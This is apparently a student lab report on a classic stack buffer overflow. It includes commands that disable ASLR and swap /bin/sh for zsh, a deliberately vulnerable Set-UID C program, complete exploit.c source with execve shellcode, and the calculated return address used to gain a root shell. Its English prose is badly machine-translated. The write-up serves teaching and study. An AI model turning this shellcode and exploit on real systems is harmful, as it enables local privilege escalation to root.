2019-2020-11 20199304 "Linux kernel principle and Analysis" in Week 11 jobs

Buffer Overflow Vulnerability Experiment

I. Introduction

Buffer overflow refers to circumstances beyond the pre-allocated program attempts to write data to a fixed-length buffer. This vulnerability can be used by malicious users to change the flow of the control program, even any fragment of code execution. The emergence of this vulnerability is due to the temporary closure of the data buffer and the return address, the overflow will cause the return address is overwritten.

Second, the experimental preparation

The system user name shiyanlou
laboratory building offers a 64-bit Ubuntu linux, but this experiment is difficult to see assembly statements, we need to operate in 32-bit environments testimony, and therefore need to do some preparation before the experiment.

1, an input command to install some packages 32 C to compile the program:

  • (1)$ sudo apt-get update

  • (2)$ sudo apt-get install -y lib32z1 libc6-dev-i386

  • (3)$ sudo apt-get install -y lib32readline-gplv2-dev

2, the command input linux32into the 32-bit Linux environment, and then enter /bin/bashthe bash

Third, the experimental procedures

3.1 Initial Setup

1, Ubuntu and other Linux systems, the use of address space randomization and initial address to a random heap stack (stack) of (heap), which makes guessing the exact address of the memory becomes very difficult, but speculation is the memory address buffer overflow critical attack. Therefore, in this experiment, we use the following command to turn off this feature:
sudo sysctl -w kernel.randomize_va_space = 0

To further guard against buffer overflow attacks and other attacks using the shell program, many shell program is called 2, give up their privileges. So, even if you can cheat a Set-UID program calls a shell, can not remain in this shell with root privileges, this protective measures implemented in the / bin / bash in.

linux system, / bin / sh is actually a symbolic link to / bin / bash or / bin / dash of. In order to recreate the conditions before the protective measures are implemented, we use another shell program (zsh) instead of / bin / bash. The following instructions describe how to set zsh program:

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

3.2 shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

观察以下代码:

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector关闭这种机制。 而-z execstack用于允许执行栈。

-g参数是为了使编译后得到的可执行文档能用gdb调试。

3.4 攻击程序及结果

  • 1.攻击

我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。把以下代码保存为“exploit.c”文件,保存到/tmp目录下。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

由于实验环境无法粘贴文件,我们提供代码下载,大家可以先运行查看效果:
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
注意上面的代码,\x??\x??\x??\x??处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode);这一句又告诉我们,shellcode保存在buffer + 100的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址

输入命令:


$ gdb stack

$ disass main



按 q 键,再按 enter 键可退出调试

根据语句 strcpy(buffer + 100,shellcode);我们计算 shellcode 的地址为 0xffffd1b0(十六进制) + 0x64(100的十六进制) = 0xffffd214(十六进制)

现在修改exploit.c文件!将\x??\x??\x??\x??修改为\x14\xd2\xff\xff
然后,编译 exploit.c 程序:$ gcc -m32 -o exploit exploit.c

  • 2结果
    先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

可见,通过攻击,获得了root 权限!

四、练习

练习二:

通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。

从图上可以看出,攻击失败,没有获得root权限。

练习三:

将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。

从图上可知,攻击失败,没有获得root权限。

实验总结:

缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。但目前的系统是很难缓冲区溢出的,操作系统在这方面有很多的保护措施,本次试验成功的前提就是将保护机制关闭。
在实验阶段中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化,固定地址,从而使得地址的猜测变得更加简单。攻击程序写一个badfile文件,将其中的一部分字节替换为之前计算好的字节,当漏洞程序读取badfile文件时,由于没有限制输入的长度,导致返回值被之前替换的字节覆盖,当程序返回时,跳转到了预先指定的地址,获得了root权限,完成了攻击。

Guess you like

Origin www.cnblogs.com/20199304lbs/p/11967029.html